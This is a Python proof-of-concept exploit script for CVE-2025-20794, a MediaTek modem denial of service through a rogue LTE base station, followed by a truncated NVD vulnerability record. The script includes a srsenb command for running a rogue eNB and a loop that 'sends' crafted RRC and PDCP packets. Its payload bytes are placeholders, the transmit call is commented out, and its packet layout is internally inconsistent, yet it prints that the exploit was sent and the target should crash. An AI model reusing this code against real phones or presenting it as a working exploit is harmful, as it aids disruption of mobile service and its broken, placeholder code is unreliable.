CVE-2025-20794

# CVE-2025-20794 PoC - MediaTek Modem DoS via Rogue Base Station # This PoC demonstrates the concept of exploiting input validation issues in Modem # Requires: srsLTE or similar SDR framework import socket import struct import sys def create_malicious_lte_packet(): """ Create a malicious LTE RRC Connection Setup message that triggers input validation error in MediaTek Modem """ # LTE RRC Message Type: ConnectionSetup (3) rrc_message_type = 0x03 # Malformed IE with invalid length causing validation bypass # This is a conceptual representation malformed_ie = bytes([ 0x00, 0x7F, # Invalid IEI and excessive length 0x41, 0x42, 0x43, 0x44, # Padding data 0xFF, 0xFF, 0xFF, 0xFF, # Trigger condition ]) # Construct RRC Connection Setup Complete packet = bytes([ 0x00, # RRC Transaction Identifier rrc_message_type, 0x00, 0x01, # Message length ]) + malformed_ie return packet def setup_rogue_base_station(): """ Simulate setting up a rogue base station using SDR In real scenario, use srsLTE/srsRAN with following config: $ sudo ./srsenb/src/srsenb --config.enb.mcc=001 --config.enb.mnc=01 --config.enb.n_prb=50 --config.enb.cell_id=0xABCDEF """ print("[*] Setting up rogue base station for CVE-2025-20794...") print("[*] Target: MediaTek Modem with unpatched firmware") print("[*] Broadcasting on LTE Band 3 (1800 MHz)...") return True def send_malicious_pdu(): """ Send malicious PDCP/RLC packets to trigger Modem crash The packet structure exploits input validation vulnerability """ packet = create_malicious_lte_packet() # PDCP header with malformed control field pdcp_header = bytes([ 0x00, # PDCP data/control indication 0x0F, # Invalid SN and flags ]) return pdcp_header + packet def exploit(): """ Main exploit function This PoC requires proper SDR hardware and LTE stack implementation """ print("[+] CVE-2025-20794 MediaTek Modem Input Validation DoS") print("[+] CVSS: 6.5 (Medium)") setup_rogue_base_station() # Generate malicious packets for i in range(100): packet = send_malicious_pdu() print(f"[*] Sending malicious packet {i+1}/100...") # In real implementation, transmit via SDR # sdr.send(packet) print("[+] Exploit sent. Target Modem should crash/reboot.") print("[*] Note: This PoC is for educational purposes only.") if __name__ == "__main__": print("CVE-2025-20794 PoC - MediaTek Modem DoS via Input Validation Error") print("Requires: SDR hardware (USRP/B200), srsLTE/srsRAN framework") print("-" * 60) # Note: Actual exploitation requires SDR hardware and LTE stack print("[!] Full exploit requires specialized RF equipment")

{"cve": {"id": "CVE-2025-20794", "sourceIdentifier": "[email protected]", "published": "2026-01-06T02:15:43.297", "lastModified": "2026-02-17T15:16:18.177", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Modem, there is a possible system crash due to improper input validation. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01689259 / MOLY01586470; Issue ID: MSV-4847."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:*", "matchCriteriaId": "E30A2D2E-6A72-4070-A471-EEE75F7D07F2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr16:-:*:*:*:*:*:*:*", "matchCriteriaId": "2B763B71-F913-45B4-B91E-D7F0670C4315"}, {"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr17:-:*:*:*:*:*:*:*", "matchCriteriaId": "66F8874B-DBF1-4A67-8ADF-4654AB56B6A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr17r:-:*:*:*:*:*:*:*", "matchCriteriaId": "BC63582A-F9A5-4450-A263-CE1FD4B4F3AC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F1D09FC-5BE9-4B23-82F1-3C6EAC5711A6"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2737:-:*:*:*:*:*:*:*", "matchCriteriaId": "9C2A1118-B5F7-4EF5-B329-0887B5F3430E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6813:-:*:*:*:*:*:*:*", "matchCriteriaId": "66F9EAE4-F1D7-46DB-AA2A-0290F6EF0501"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6815:-:*:*:*:*:*:*:*", "matchCriteriaId": "B7122918-8C44-4F24-82E4-B8448247FC83"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:*", "matchCriteriaId": "19A63103-C708-48EC-B44D-5E465A6B79C5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:*", "matchCriteriaId": "366F1912-756B-443E-9962-224937DD7DFB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA3240730A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6873:-:*:*:*:*:*:*:*", "matchCriteriaId": "F6B8A36E-C5FB-44AE-A1C3-50EBF4C68F6B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875:-:*:*:*:*:*:*:*", "matchCriteriaId": "80BDC5EC-E822-4BC7-8C0D-E8AD8396E8FE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:*", "matchCriteriaId": "7CA9352F-E9BD-4656-9B7C-4AFEE2C78E58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6878:-:*:*:*:*:*:*:*", "matchCriteriaId": "855A8046-34ED-4891-ACE5-76AB10AC8D53"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6879:-:*:*:*:*:*:*:*", "matchCriteriaId": "704BE5CE-AE08-4432-A8B0-4C8BD62148AD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6880:-:*:*:*:*:*:*:*", "matchCriteriaId": "68CF4A7A-3136-4C4C-A795-81323896BE11"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6883:-:*:*:*:*:*:*:*", "matchCriteriaId": "15E2EC3F-9FB3-488B-B1C1-2793A416C755"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6885:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD64413C-C774-4C4F-9551-89E1AA9469EE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6886:-:*:*:*:*:*:*:*", "matchCriteriaId": "AF3E2B84-DAFE-4E11-B23B-026F719475F5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6889:-:*:*:*:*:*:*:*", "matchCriteriaId": "3B787DC3-8E5A-4968-B20B-37B6257FAAE2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6891:-:*:*:*:*:*:*:*", "matchCriteriaId": "D8E91CA4-CA5B-40D1-9A96-2B875104BCF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6893:-:*:*:*:*:*:*:*", "matchCriteriaId": "213B5C7F-D965-4312-9CDF-4F06FA77D401"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6895:-:*:*:*:*:*:*:*", "matchCriteriaId": "E0CA45C9-7BFE-4C93-B2AF-B86501F763AB ... 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